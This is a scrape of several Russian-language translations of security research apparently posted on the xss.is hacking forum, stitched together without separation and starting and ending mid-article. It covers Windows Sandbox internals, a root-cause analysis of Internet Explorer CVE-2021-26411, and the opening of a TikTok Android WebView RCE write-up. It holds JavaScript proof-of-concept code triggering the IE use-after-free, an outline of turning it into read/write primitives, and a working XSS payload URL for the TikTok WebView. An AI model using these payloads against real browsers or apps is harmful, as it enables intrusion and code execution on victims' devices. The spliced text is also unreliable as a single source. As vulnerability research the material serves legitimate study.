ранее в «реальном» файле VHDx. Этот тег вместе с IO_REPARSE_TAG_WCI_LINK_1
,
который мы видели как тег повторной обработки в BaseLayer.vhdx
, жестко
запрограммирован в методе wcifs!WcSetBootConfiguration
:
Вторая, более важная часть гостевой конфигурации находится в
wcifs!WcSetupVsmbUnionContext
, где он устанавливает виртуализированный
уровень, известный как объединенный контекст. За кулисами драйвер хранит
настроенные данные о нескольких объектах контекста и обращается к ним с
помощью соответствующего NT API - FltGetInstanceContext
, PsGetSiloContext
и FltGetFileContext
. Эти настраиваемые объекты содержат деревья AVL и хэш-
таблицы для эффективного поиска виртуализированных слоев.
У метода WcSetupVsmbUnionContext
есть еще два интересных артефакта. Один -
это путь vSMB, который является частью уровня, а другой - GUID
HOST_LAYER_ID
, который мы видели ранее в проанализированном MFT и в JSON,
который описывает виртуальную машину:
По мере того, как мы копаемся глубже, мы видим признаки того, что метод Virtual SMB используется для обмена файлами между гостем и хостом. Скоро мы увидим, что vSMB является основным методом реализации базового уровня и совместного использования сопоставленных папок.
Конфигурация хоста
Для хост-системы основная конфигурация происходит, когда родительский
вычислительный процесс, vmcompute
, инициирует создание контейнера и
отправляет настраиваемое сообщение в \WcifsPort
. Это запускает
wcifs!WcPortMessage
, который представляет собой процедуру обратного вызова
для любого сообщения, отправляемого на этот конкретный порт.
Ниже приведена частичная реконструкция сообщения, отправленного службой драйверу фильтра:
Code:Copy to clipboard
struct WcifsPortMsg
{
DWORD MsgCode;
DWORD MsgSize;
WcifsPortMsgSetUnion Msg;
};
struct WcifsPortMsgSetUnion
{
DWORD MsgVersionOrCode;
DWORD MsgSize;
DWORD NumUnions;
wchar_t InstanceName[50];
DWORD InstanceNameLen;
DWORD ReparseTag;
DWORD ReparseTagLink;
DWORD NotSure;
HANDLE Job;
BYTE ContextData[1];
};
ПолеContextData также содержит пути к устройствам, которые объединение должно отображать.
Обратные вызовы операций
Во время регистрации драйвер фильтра предоставляет набор обратных вызовов для
каждой операции, которую он хочет перехватить. Диспетчер фильтров вызывает эти
обратные вызовы перед/после каждой файловой операции, как мы можем видеть
ниже.
Не вдаваясь в технические детали, драйвер определяет и заботится о двух настраиваемых тегах повторной обработки:
C:\Windows\system32\kernel32.dll
в путь vSMB\Device\vmsmb\VSMB- {dcc079ae-60ba-4d07-847c-3493609c0870}\os\Windows\System32\kernel32.dll
.C:\ProgramData\Microsoft\Windows\Containers\BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\BaseLayer\Files\Windows\System32\en-US\apphelp.dll.mui
на реальный путь C:\Windows\System32\en-US\apphelp.dll.mui
. Это преобразование довольно интересно, поскольку оно происходит в основном в пустых системных папках на базовом уровне, которые содержат этот тег повторной обработки (например, в папке en-US).C:\ProgramData\Microsoft\Windows\Containers\BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\BaseLayer\Files\Windows\System32\kernel32.dll
на реальный путь C:\Windows\System32\kernel32.dll
. По сравнению с предыдущим пунктом, в этом примере запись файла DLL существует на базовом уровне и имеет этот тег повторной обработки.Открытие того, что vSMB является основным методом совместного использования базового уровня ОС, было весьма неожиданным. Теперь, когда мы знаем, что это важнейший метод коммуникации в экосистеме, следующий естественный шаг - копнуть глубже.
Во время установки в песочнице мы заметили, что vmcompute создает несколько
виртуальных общих ресурсов, вызывая CreateFileW на устройство поставщика
хранилища и отправляя IOCTL 0x240328
. Пример пути для такого вызова может
выглядеть так:
\??\STORVSP\VSMB\??\C:\ProgramData\Microsoft\Windows\Containers\BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\BaseLayer\Files
Эти общие ресурсы создаются методом
vmcompute!ComputeService::Storage::OpenVsmbRootShare
. Мы можем увидеть его
поток в следующей трассировке стека:
Code:Copy to clipboard
3: kd> k
# Child-SP RetAddr Call Site
00 ffff9a00`8d48a178 fffff806`85fd6af8 storvsp!VspFileCreate
01 (Inline Function) --------`-------- Wdf01000!FxFileObjectFileCreate::Invoke+0x29 [minkernel\wdf\framework\shared\inc\private\common\FxFileObjectCallbacks.hpp @ 58]
... (REDUCTED)
11 0000004d`4210d690 00007ff6`fcf33700 KERNELBASE!CreateFileW+0x66
12 0000004d`4210d6f0 00007ff6`fceb8180 vmcompute!ComputeService::Storage::OpenVsmbRootShare+0x3ac
13 0000004d`4210d850 00007ff6`fceba0fc vmcompute!ComputeService::VirtualMachine::Details::ConfigureVSMB+0x598
14 0000004d`4210da30 00007ff6`fceba908 vmcompute!ComputeService::VirtualMachine::Details::InitializeDeviceSettings+0x918
15 0000004d`4210eb90 00007ff6`fce86abd vmcompute!ComputeService::VirtualMachine::CreateVirtualMachineConfiguration+0x68
16 0000004d`4210ebe0 00007ff6`fcee6cbb vmcompute!ComputeService::Management::Details::ConstructVmWorker+0x4cd
... (REDUCTED)
Кроме того, когда мы сопоставляем папки хоста с гостевой системой, используя
конфигурацию файла WSB, вызывается тот же метод. Например, сопоставление папки
Sysinternals приводит к следующему вызову драйвера:
\??\STORVSP\VSMB\??\C:\Users\hyperv-root\Desktop\SysinternalsSuite.
Доступ к файлам через (v)SMB
После создания этих общих ресурсов мы можем получить к ним доступ в гостевой
системе через созданный псевдоним. Мы можем использовать команду type для
печати kernel32.dll хоста по следующему пути:
\\.\Vmsmb\VSMB-{dcc079ae-60ba-4d07-847c-3493609c0870}\os\Windows\System32\kernel32.dll
Для обслуживания файлов vSMB модуль vmusrv, который является частью рабочего
процесса виртуальной машины, создает рабочий поток. Этот модуль представляет
собой vSMB-сервер пользовательского режима, который запрашивает пакеты
непосредственно из VMBus в подпрограмме vmusrv!VSmbpWorkerRecvLoop
, а затем
приступает к их обработке.
Обслуживание операции создания файла
Каждый раз, когда vmusrv
получает запрос Create SMB, он инициирует новый
запрос к драйверу поставщика хранилища. Такой вызов может выглядеть так:
Code:Copy to clipboard
2: kd> k
# Child-SP RetAddr Call Site
... (REDUCTED)
0c ffff9a00`8d9522e0 fffff806`892c4741 storvsp!VspVsmbCommonRelativeCreate+0x369
0d ffff9a00`8d952510 fffff806`892c3b7e storvsp!VspVsmbHandleRelativeCreateFileRequest+0x321
0e ffff9a00`8d952790 fffff806`892c0f85 storvsp!VspVsmbDispatchIoControlForProcess+0x11e
0f ffff9a00`8d9527e0 fffff806`8100e522 storvsp!VspFastIoDeviceControl+0x175
... (REDUCTED)
13 000000ae`9c0ff298 00007ffa`110c0c0a ntdll!NtDeviceIoControlFile+0x14
14 000000ae`9c0ff2a0 00007ffa`110c0456 vmusrv!CShare::OpenFileRelativeToShareRootInternal+0x306
15 000000ae`9c0ff3e0 00007ffa`110b9381 vmusrv!CShare::OpenFileRelativeToShareRoot+0x356
16 000000ae`9c0ff510 00007ffa`110b4451 vmusrv!CFSObject::CreateFileW+0x185
17 000000ae`9c0ff690 00007ffa`1109a568 vmusrv!CShare::Create+0x91
18 000000ae`9c0ff740 00007ffa`1109d74d vmusrv!ProviderCallback_Create+0x30
19 000000ae`9c0ff780 00007ffa`1109c299 vmusrv!SrvCreateFile+0x331
1a 000000ae`9c0ff860 00007ffa`1109c6f0 vmusrv!Smb2ExecuteCreateReal+0x111
1b 000000ae`9c0ff940 00007ffa`110a08da vmusrv!Smb2ExecuteCreate+0x30
1c 000000ae`9c0ff970 00007ffa`11098907 vmusrv!Smb2ExecuteProviderCallback+0x7e
1d 000000ae`9c0ff9d0 00007ffa`11088311 vmusrv!Smb2PacketProcessing+0x97
1e 000000ae`9c0ffa40 00007ffa`11087225 vmusrv!Smb2PacketProcessingCallback+0x11
... (REDUCTED)
Связь с поставщиком хранилища осуществляется через IOCTL с кодом 0x240320
, а
указанным дескриптором является путь vSMB, открытый на этапе инициализации:
Если мы внимательно посмотрим на storvsp!VspVsmbCommonRelativeCreate
, мы
увидим, что каждое выполнение сопровождается вызовом nt!IoCreateFileEx
. Этот
вызов содержит относительный путь к желаемому файлу с дополнительным полем
RootDirectory
, которое представляет папку \Files
в смонтированном базовом
уровне VHDx:
Обслуживание операции чтения/записи
Операции чтения/записи выполняются рабочим потоком в vmusrv!CFSObject :: Read/vmusrv!CFSObject::Write
. Если файл достаточно мал, поток просто
выполняет ReadFile/WriteFile
для дескриптора. В противном случае он
отображает файл в память и эффективно передает его через RDMA поверх VMBus.
Эта передача выполняется в vmusrv!SrvConnectionExecuteRdmaTransfer
, в то
время как обмен данными по RDMA осуществляется с устройством RootVMBus (имя
хост-устройства VMBus) с использованием IOCTL 0x3EC0D3
или 0x3EC08C
.
Code:Copy to clipboard
2: kd> k
... (REDUCTED)
06 ffffad0e`3bee7650 fffff800`36225b62 vmbusr!RootIoctlRdmaFileIoHandleMappingComplete+0x10f
07 ffffad0e`3bee7690 fffff800`361fee21 vmbusr!RootIoctlRdmaFileIo+0xf2
08 ffffad0e`3bee76f0 fffff800`339da977 vmbusr!RootIoctlDeviceControlPreprocess+0x191
... (REDUCTED)
12 00000009`ae27f7e8 00007ffe`281ce773 ntdll!NtDeviceIoControlFile+0x14
13 00000009`ae27f7f0 00007ffe`281dcbd2 vmusrv!SrvConnectionExecuteRdmaTransfer+0x24f
14 00000009`ae27f940 00007ffe`281d4874 vmusrv!CFile::ReadFileRdma+0xc2
15 00000009`ae27f9c0 00007ffe`281c218e vmusrv!CFSObject::Read+0x94
16 00000009`ae27fa00 00007ffe`281c08da vmusrv!Smb2ExecuteRead+0x1be
17 00000009`ae27fa60 00007ffe`281b8907 vmusrv!Smb2ExecuteProviderCallback+0x7e
18 00000009`ae27fac0 00007ffe`281a6a4e vmusrv!Smb2PacketProcessing+0x97
19 00000009`ae27fb30 00007ffe`3bba6fd4 vmusrv!SmbWorkerThread+0xce
... (REDUCTED)
Поток Гость-Хост
Основываясь на некоторых выводах из этой
[статьи](https://www.linkedin.com/pulse/hyper-v-architecture-internals-pravin-
gawale/), объясняющих взаимосвязь Storvsc.sys
/Storvsp.sys
, мы можем
объединить все предыдущие технические блоки в следующий поток доступа к
файлам.
type
, чтобы открыть и распечатать содержимое файла kernel32.dll
. Это системный файл, поэтому песочнице не принадлежит его копия, а используется копия хоста.Storvsc.sys
является драйвером минипорта, что означает, что он действует как виртуальное хранилище для гостя. Он принимает и пересылает запросы SCSI по шине VMBus.Storvsp.sys
есть рабочий поток, ожидающий новых сообщений через VMBus на storvsp!VspPvtKmclProcessingComplete
.vhdparser!NVhdParserExecuteScsiRequestDisk
, который выполняет vhdmp.sys
, драйвер парсера VHD.vhdmp.sys
обращается к физическому экземпляру sandbox.vhdx
через диспетчер фильтров и выполняет операцию чтения/записи. В этом случае он считывает данные, запрошенные менеджером фильтров гостевой файловой системы. Эти данные возвращаются диспетчеру фильтров для дальнейшего анализа.wcifs.sys
выполняет операцию пост-создания для файла, он ищет контекст объединения для этого устройства и заменяет файловый объект следующим: \Device\vmsmb\VSMB-{dcc079ae-60ba-4d07-847c- 3493609c0870}\os\Windows\System32\kernel32.dll
\Device\vmsmb
было создано как общий ресурс SMB, поэтому диспетчер фильтров обращается к нему, как к любому другому обычному общему ресурсу. Незаметно для себя он выполняет SMB-запросы к хосту через VMBus.vmusrv.dll
опрашивает устройство \\.\VMbus\
на наличие новых сообщений в своем методе рабочего потока vmusrv!SmbWorkerThread
.\Device\STORVSP\VSMB\??\C:\ProgramData\Microsoft\Windows\Containers\BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\BaseLayer\Files
IoCreateFileEx
. Этот запрос является относительным и содержит RootDirectory
смонтированного уровня ОС. Это заставляет диспетчер фильтров открыть файл на смонтированном уровне ОС.wcifs.sys
изменять объект файла в методе пост-создания. Он изменяет файловый объект на его физический путь: C:\Windows\System32\kernel32.dll
kernel32.dll
и возвращается к гостю.ReadFile
драйвер wcifs.sys
сохраняет состояние контекста поверх объекта файла, чтобы помочь ему выполнить операцию чтения/записи. Кроме того, рабочий поток vmusrv
выполняет запрос чтения либо с прямым доступом к файлу, либо через RDMA поверх VMBus.Фактический процесс намного сложнее, поэтому мы постарались сосредоточиться на компонентах, имеющих решающее значение для виртуализации.
Песочница также позволяет отображать папки от хоста к гостю через свою
конфигурацию. Такие папки получают уникальный псевдоним для пути vSMB, и
доступ аналогичен уровню ОС. Единственное отличие состоит в том, что путь
изменяется в диспетчере гостевых фильтров с помощью bindflt.sys
.
Например, если мы сопоставим папку SysinternalsSuite с папкой гостевого
рабочего стола, путь
C:\Users\WDAGUtilityAccount\Desktop\SysinternalsSuite\Procmon.exe
изменится
на \Device\vmsmb\VSMB-{dcc079ae-60ba-4d07-847c- 3493609c0870}\db64085bcd96aab59430e21d1b386e1b37b53a7194240ce5e3c25a7636076b67\Procmon.exe
,
при этом остальная часть процесса останется прежней.
Играем с песочницей
Одной из наших целей в этом исследовании было изменение содержимого базового
слоя в соответствии с нашими потребностями. Теперь, когда мы понимаем
экосистему, это кажется довольно простым.
Модификация состоит из нескольких простых шагов:
CmService
, службу, которая создает и поддерживает базовый уровень. При выгрузке сервиса снимается и монтирование базового уровня.C:\ProgramData\Microsoft\Windows\Containers\BaseImages\0949cec7-8165-4167-8c7d-67cf14eeede0\BaseLayer.vhdx
). Это можно сделать двойным щелчком или с помощью утилиты diskmgmt.msc
.CmService
.В тот момент, когда мы запускаем песочницу, у нас есть потрясающая виртуальная машина FLARE!
Итоги
Когда мы начали исследовать Windows Sandbox, мы понятия не имели, что такая
«простая» операция сводится к сложному потоку с несколькими внутренними
недокументированными технологиями Microsoft, такими как vSMB и Container
Isolation.
Мы надеемся, что эта статья поможет сообществу в дальнейшем сборе информации и поиске ошибок. Для нас это был большой первый шаг к исследованию и пониманию технологий, связанных с виртуализацией.
Если вы хотите получить обратную связь, напишите нам в twitter.
Ссылки
Дополнение А
Конфигурация Windows Sandbox JSON для vmwp
JSON:Copy to clipboard
{
"Owner": "Madrid",
"SchemaVersion": {
"Major": 2,
"Minor": 1
},
"VirtualMachine": {
"StopOnReset": true,
"Chipset": {
"Uefi": {
"BootThis": {
"DeviceType": "VmbFs",
"DevicePath": "\\EFI\\Microsoft\\Boot\\bootmgfw.efi"
}
}
},
"ComputeTopology": {
"Memory": {
"SizeInMB": 1024,
"Backing": "Virtual",
"BackingPageSize": "Small",
"FaultClusterSizeShift": 4,
"DirectMapFaultClusterSizeShift": 4,
"EnablePrivateCompressionStore": true,
"EnableHotHint": true,
"EnableColdHint": true,
"SharedMemoryMB": 2048,
"SharedMemoryAccessSids": ["S-1-5-21-2542268174-3140522643-1722854894-1001"],
"EnableEpf": true,
"EnableDeferredCommit": true
},
"Processor": {
"Count": 4,
"SynchronizeHostFeatures": true,
"EnableSchedulerAssist": true
}
},
"Devices": {
"Scsi": {
"primary": {
"Attachments": {
"0": {
"Type": "VirtualDisk",
"Path": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\Sandboxes\\025b00c8-849a-4e00-bcb2-c2b8ec698bab\\sandbox.vhdx",
"CachingMode": "ReadOnlyCached",
"NoWriteHardening": true,
"DisableExpansionOptimization": true,
"IgnoreRelativeLocator": true,
"CaptureIoAttributionContext": true
}
}
}
},
"HvSocket": {
"HvSocketConfig": {
"DefaultBindSecurityDescriptor": "D:P(A;;FA;;;SY)",
"DefaultConnectSecurityDescriptor": "D:P(A;;FA;;;SY)",
"ServiceTable": {
"befcbc10-1381-45ab-946e-b1a12d6bce94": {
"BindSecurityDescriptor": "D:P(D;;FA;;;WD)",
"ConnectSecurityDescriptor": "D:P(D;;FA;;;WD)",
"AllowWildcardBinds": true
},
"7d2e0620-034a-4438-b0fd-ae27fc0172a1": {
"BindSecurityDescriptor": "D:P(A;;FA;;;SY)(A;;FA;;;S-1-5-83-0)",
"ConnectSecurityDescriptor": "D:P(D;;FA;;;WD)"
},
"a715ac94-b745-4889-9a0f-772d85a3cfa4": {
"BindSecurityDescriptor": "D:P(A;;FA;;;LS)",
"ConnectSecurityDescriptor": "D:P(A;;FA;;;LS)",
"AllowWildcardBinds": true
},
"7b3014c3-284a-40d4-a97f-9d23a75c6a80": {
"BindSecurityDescriptor": "D:P(D;;FA;;;WD)",
"ConnectSecurityDescriptor": "D:P(D;;FA;;;WD)",
"AllowWildcardBinds": true
},
"e97910d9-55bb-455e-9170-114fdfce763d": {
"BindSecurityDescriptor": "D:P(D;;FA;;;WD)",
"ConnectSecurityDescriptor": "D:P(D;;FA;;;WD)",
"AllowWildcardBinds": true
},
"e5afd2e3-9b98-4913-b37c-09de98772940": {
"BindSecurityDescriptor": "D:P(D;;FA;;;WD)",
"ConnectSecurityDescriptor": "D:P(D;;FA;;;WD)",
"AllowWildcardBinds": true
},
"abd802e8-ffcc-40d2-a5f1-f04b1d12cbc8": {
"BindSecurityDescriptor": "D:P(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;S-1-15-3-3)(A;;FA;;;S-1-5-21-2542268174-3140522643-1722854894-1001)",
"ConnectSecurityDescriptor": "D:P(D;;FA;;;WD)"
},
"f58797f6-c9f3-4d63-9bd4-e52ac020e586": {
"BindSecurityDescriptor": "D:P(A;;FA;;;SY)",
"ConnectSecurityDescriptor": "D:P(A;;FA;;;SY)",
"AllowWildcardBinds": true
}
}
}
},
"EnhancedModeVideo": {
"ConnectionOptions": {
"AccessSids": ["S-1-5-21-2542268174-3140522643-1722854894-1001"],
"NamedPipe": "\\\\.\\pipe\\025b00c8-849a-4e00-bcb2-c2b8ec698bab"
}
},
"GuestCrashReporting": {
"WindowsCrashSettings": {
"DumpFileName": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\Dumps\\025b00c8-849a-4e00-bcb2-c2b8ec698bab.dmp",
"MaxDumpSize": 4362076160,
"DumpType": "Full"
}
},
"VirtualSmb": {
"Shares": [{
"Name": "os",
"Path": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\BaseImages\\0949cec7-8165-4167-8c7d-67cf14eeede0\\BaseLayer\\Files",
"Options": {
"ReadOnly": true,
"TakeBackupPrivilege": true,
"NoLocks": true,
"ReparseBaseLayer": true,
"PseudoOplocks": true,
"PseudoDirnotify": true,
"SupportCloudFiles": true
}
}],
"DirectFileMappingInMB": 2048
},
"Licensing": {
"ContainerID": "00000000-0000-0000-0000-000000000000",
"PackageFamilyNames": []
},
"Battery": {},
"KernelIntegration": {}
},
"GuestState": {
"GuestStateFilePath": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\Sandboxes\\025b00c8-849a-4e00-bcb2-c2b8ec698bab\\sandbox.vmgs"
},
"RestoreState": {
"TemplateSystemId": "97d51d87-c49d-488f-bc29-33017f7703b9"
},
"RunInSilo": {
"SiloBaseOsPath": "C:\\ProgramData\\Microsoft\\Windows\\Containers\\BaseImages\\0949cec7-8165-4167-8c7d-67cf14eeede0\\BaseLayer\\Files",
"NotifySiloJobCreated": true,
"FileSystemLayers": [{
"Id": "8264f677-40b0-4ca5-bf9a-944ac2da8087",
"Path": "C:\\",
"PathType": "AbsolutePath"
}]
},
"LaunchOptions": {
"Type": "None"
},
"GuestConnection": {}
},
"ShouldTerminateOnLastHandleClosed": true
}
От ТС
За оригиналом вам [сюда.](https://research.checkpoint.com/2021/playing-in-the-
windows-sandbox/)
Довольно подробное иследование от checkpoint, самому очень интересно было
переводить.
Перевод:
Azrv3l cпециально для xss.is
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
Вступление
В январе этого года Google и Microsoft, опубликовали блоги, раскрывающие атаки
на исследователей безопасности со стороны APT-группы из NK [1] [2]. Уязвимость
в Internet Explorer, использованная в этой атаке, была исправлена как
CVE-2021-26411 в патче Microsoft во вторник в этом месяце [3]. Уязвимость
срабатывает, когда пользователи уязвимой версии Internet Explorer получают
доступ к вредоносной ссылке, созданной злоумышленниками, что приводит к
удаленному выполнению кода.
Анализ первопричин
POC, который может вызвать уязвимость, приведён ниже:
JavaScript:Copy to clipboard
<script>
var elem = document.createElement('xxx');
var attr1 = document.createAttribute('yyy');
var attr2 = document.createAttribute('zzz');
var obj = {};
obj.valueOf = function() {
elem.clearAttributes();
return 0x1337;
};
attr1.nodeValue = obj;
attr2.nodeValue = 123;
elem.setAttributeNode(attr1);
elem.setAttributeNode(attr2);
elem.removeAttributeNode(attr1);
</script>
Процесс выполнения PoC:
elem
) и 2 объекта атрибута HTML (attr1
и attr2
)nodeValue
, где nodeValue
attr1
указывает на объект, функция valueOf
которого перегружена.elem
для двух объектов Attribute attr1
и attr2
.elem.removeAttributeNode
(attr1
), чтобы удалить attr1
из elem
.removeAttributeNode
запускает обратный вызов функции valueOf
, во время которой вызывается clearAttributes()
для очистки всех объектов атрибутов (attr1
и attr2
) объекта elem
.valueOf
возвращается, процесс IE Tab вылетает при разыменовании нулевого указателя:Основываясь на приведенном выше анализе потока PoC, можно сделать вывод, что
причиной сбоя является проблема двойного освобождения, вызванная функцией
clearAttributes()
в обратном вызове valueOf
. После очистки всех объектов
атрибута объекта элемента он возвращается к интерпретатору (прерывая операцию
атомарного удаления на уровне интерпретатора) и снова освобождает объект
атрибута, что приводит к двойному освобождению. Но есть еще некоторые детали,
которые нужно проработать:
Ответ на вопрос 1, начинается со статического анализа
1. Функция removeAttributeNode()
в mshtml.dll
обрабатывается функцией
MSHTML!CElement::ie9_removeAttributeNode
. Он вызывает внутри себя
MSHTML!CElement::ie9_removeAttributeNodeInternal
, который является основной
реализацией removeAttributeNode()
:
2. MSHTML!CElement::ie9_removeAttributeNodeInternal
дважды вызывает
CBase::FindAAIndexNS
для поиска индексов объекта атрибута и объекта атрибута
nodeValue
в массиве VARINAT CAttrArray (+0x8)
3. Когда индекс объекта атрибута найден, объект атрибута извлекается через
CBase::GetObjectAt
:
4. Когда индекс nodeValue
объекта атрибута найден, он вызывает функцию
CBase::GetIntoBSTRAt
для преобразования nodeValue
в BSTR и сохраняет
значение BSTR в CAttribute.nodeValue(+0x30)
. В это время будет запущен
обратный вызов valueOf
!
5. Затем он дважды вызывает CBase::DeleteAt
, чтобы удалить объект атрибута
и объект атрибута nodeValuev
(здесь необходимо обратить внимание на
существование одного вызова CBase::FindAAIndexNS
между двумя вызовами
DeleteAt
, чтобы снова найти индекс attr1.nodeValue
):
6. CBase::DeleteAt
проверяет индекс объекта, который необходимо удалить.
Если он не равен -1, он вызывает CAttrArray::Destroy
для выполнения работы
по очистке:
7. CAttrArray::Destroy
вызывает CImplAry::Delete
, чтобы изменить счетчик
CAttrArray(+0x4) и изменить порядок соответствующего массива VARIANT (+0x8),
затем вызывает CAttrValue::Free
, чтобы освободить объект атрибута в конце:
Затем мы наблюдаем за процессом обратного вызова вопроса 1 и анализируем
вопрос 2 с помощью динамической отладки
1. Макет памяти объекта элемента до входа в функцию узла removeAttribute
:
2. Результат двух вызовов функции CBase::FindAAIndexNS
после ввода
MSHTML!CElement::ie9_removeAttributeNodeInternal
:
3. CHase::GetIntoBSTRAt
запускает значение Callback в скрипте:
4. Структура памяти объекта elem после вызова clearAttributes()
в обратном
вызове valueOf:
Сравнивая c шагом 1, вы можете увидеть, что после clearAttributes()
значение
elem.CAttrArray.count
(+ 0x4) уменьшается до 1, и происходит операция
копирования памяти в массиве CAttrArray VARIANT (+ 0x8): attr2 индекса 4
копируется в предыдущий индекс в порядке (сдвиг), который соответствует логике
CImplAry::Delete
:
5.Когда обратный вызов возвращается, в первом вызове CBase::DeleteAt()
: Он
проверяет индекс объекта VARIANT, который сначала ожидал удаления. Вот
значение индекса attr1 2, которое найдено в первом поиске
CBase::FindAAIndexNS
:
После прохождения проверки индекса вызывается CAttrArray::Destroy
для начала
очистки.
6. Когда обратный вызов вернется, во втором вызове CBase::DeleteAt()
:
Вспоминая часть статического анализа, выполняется один CBase::FindAAIndexNS
между двумя CBase::DeleteAt
, чтобы снова найти индекс attr1.nodeValue. При
нормальных обстоятельствах ожидается, что CBase::FindAAIndexNS
вернет 1.
Однако, поскольку обратный вызов прерывает атомарную операцию на уровне
интерпретатора и заранее освобождает все атрибуты elem, здесь возвращается
неожиданный -1:
Согласно статическому анализу функции CBase::DeleteAt
, для случая, когда
индекс равен -1, будет выдано исключение:
После возврата указатель объекта CAttrArray
указывает на память,
установленную как NULL, что, наконец, вызывает исключение разыменования
нулевого указателя:
Вот картинка, объясняющая весь процесс:
От разыменования нулевого указателя до примитива чтения/записи
**Наконец, давайте обратимся к вопросу 3: **
Как эксплуатировать это исключение разыменования нулевого указателя?
Как известно, исключение разыменования нулевого указателя в пользовательском
режиме сложно эксплуатировать, но эта уязвимость имеет свою особенность. Из
предыдущего анализа мы знаем, что исключение разыменования нулевого указателя
возникает во второй операции DeleteAt
, но первая операция DeleteAt
уже
имеет неверное предположение: массив VARIANT (+ 0x8), сохраненный в
CAttrArray
, был переназначен в обратном вызове:
В это время первая операция DeleteAt
с index = 2 по ошибке освободит объект
attr2:
Итак, на самом деле проблема UAF скрыта исключением разыменования нулевого указателя.
Следующим шагом нужно подумать о том, как использовать этот UAF. Учитывая, что объект элемента DOM защищен изолированной кучей и механизмом отложенного освобождения, он должен выбрать объект, который может напрямую выделять память системным распределителем кучи, например чрезвычайно длинный BSTR.
Пересмотренный PoC:
JavaScript:Copy to clipboard
<script>
var elem = document.createElement('xxx');
var attr1 = document.createAttribute('yyy');
//var attr2 = document.createAttribute('zzz');
var obj = {};
obj.valueOf = function() {
elem.clearAttributes();
return 0x1337;
};
attr1.nodeValue = obj;
//attr2.nodeValue = 123;
elem.setAttributeNode(attr1);
//elem.setAttributeNode(attr2);
elem.setAttribute('zzz', Array(0x10000).join('A'));
elem.removeAttributeNode(attr1);
</script>
Схема памяти элемента перед вызовом removeAttributeNode()
:
После clearAttributes()
массив VARIANT CAttryArray копируется вперед, а BSTR
немедленно освобождается:
В первой операции DeleteAt снова осуществляется доступ к памяти BSTR атрибута «zzz» с индексом = 2, что приводит к UAF:
Здесь мы можем получить дыру в памяти размером 0x20010 байтов, после обратного вызова valueOf clearAttributes():
Тогда есть два вопроса, на которые нужно ответить:
Ссылаясь на коды exp, опубликованные ENKI [4], мы можем использовать объект ArrayBuffer с размером 0x20010 байт, чтобы занять пустую память, и повторно установить атрибут 'yyy' в элементе перед возвратом обратного вызова для обхода исключениея разыменования нулевого указателя:
Наконец, после того, как возвращается элемент
elem.removeAttributeNode(attr1)
, получается висящий указатель
hd2.nodeValue
размером 0x20010 байт.
Есть много путей для последующей эксплуатации. Основные идеи:
Scripting.Dictionary.items()
, чтобы занять дыру в памяти, и используйте висячий указатель hd2.nodeValue
для утечки поддельного адреса ArrayBufferВместо заключения
Microsoft удалила уязвимость браузера IE из программы вознаграждений за
уязвимости и начала выпускать новый браузер Edge на основе Chromium. Однако в
последние годы APT, использующие уязвимости браузера IE, все еще активны. От
движка vbscript в 2018 году, движка jscript в 2019 году до движка jscript9 в
2020 году злоумышленники постоянно ищут новые поверхности для атак. Раскрытие
CVE-2021-26411 снова привлекло внимание общественности к проблемам
безопасности механизма mshtml, которые были обнаружены с большим количеством
проблем UAF. Мы считаем, что атаки на Internet Explorer не остановлены.
Ссылки
[1] <https://blog.google/threat-analysis-group/new-campaign-targeting-
security-researchers/>
[2] <https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-
security-researchers/>
[3] <https://msrc.microsoft.com/update-guide/en-
us/vulnerability/CVE-2021-26411>
[4] https://enki.co.kr/blog/2021/02/04/ie_0day.html
От ТС
Оригинал тут.
Давно пытаюсь влится в тему экплуатации браузеров, эта статья мне безусловно
помогла)
Перевод:
Azrv3l cпециально для xss.is
Во время тестирования приложения TikTok для Android я обнаружил несколько ошибок, которые можно связать, чтобы добиться удаленного выполнения кода. В этой статье мы обсудим все ошибки и цепочки в целом. Я работал над поиском багов и методикой эксплуатации 21 день. Последний эксплойт был прост. TikTok реализовал исправление для устранения выявленных ошибок, и оно было повторно протестировано, чтобы подтвердить решение.
TikTok использует определенный WebView, который можно вызвать с помощью ссылки, в входящих сообщениях. WebView обрабатывает то, что называется falcon- ссылками, захватывая их из внутренних файлов вместо того, чтобы получать их со своего сервера каждый раз, когда пользователь использует его для повышения производительности.
В целях измерения производительности после завершения загрузки страницы. Будет выполнена следующая функция:
Code:Copy to clipboard
this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);
Первая идея, которая пришла мне в голову, - это ввести XSS Payload в URL- адрес, чтобы избежать вызова функции и выполнить мой вредоносный код.
Я попробовал следующую ссылку https://m.tiktok.com/falcon/?'),alert(1));//
К сожалению, это не сработало. Я начал писать сценарий Frida, чтобы
перехватить метод android.webkit.WebView.evaluateJavascript
, хотел
посмотреть, что произойдет?
Я обнаружил, что методу передается следующая строка:
Code:Copy to clipboard
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))
Полезная нагрузка кодируется, потому что она находится в сегменте строки запроса. Поэтому я решил поместить полезную нагрузку в сегмент фрагмента после #
Code:Copy to clipboard
https://m.tiktok.com/falcon/#'),alert(1));//
запустит следующую строку:
Code:Copy to clipboard
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
Теперь все готово! У нас есть Universal XSS в этом WebView.
Примечание: Это Universal XSS , потому что Javascript код вызывается , если
ссылка содержит что-то вроде: m.tiktok.com/falcon/
Например, https://www.google.com/m.tiktok.com/falcon/
также запустит этот
XSS.
Найдя этот XSS, я начал копаться в этом WebView, чтобы увидеть, насколько он может быть разрушительным и опасным.
Во-первых, я настроил свою лабораторию, чтобы упростить тестирование. Я включил модуль WebViewDebug для отладки WebView из моих инструментов разработчика в Google Chrome. Вы найдете модуль здесь: https://github.com/feix760/WebViewDebugHook
Я обнаружил, что WebView поддерживает intent
схему. Она может дать вам
возможность создать собственный скрипт и запустить его как действие. Полезно
избегать настройки экспорта неэкспортируемых действий и максимизировать объем
тестирования. На эту тему было интересное исследование, прочтите для получения
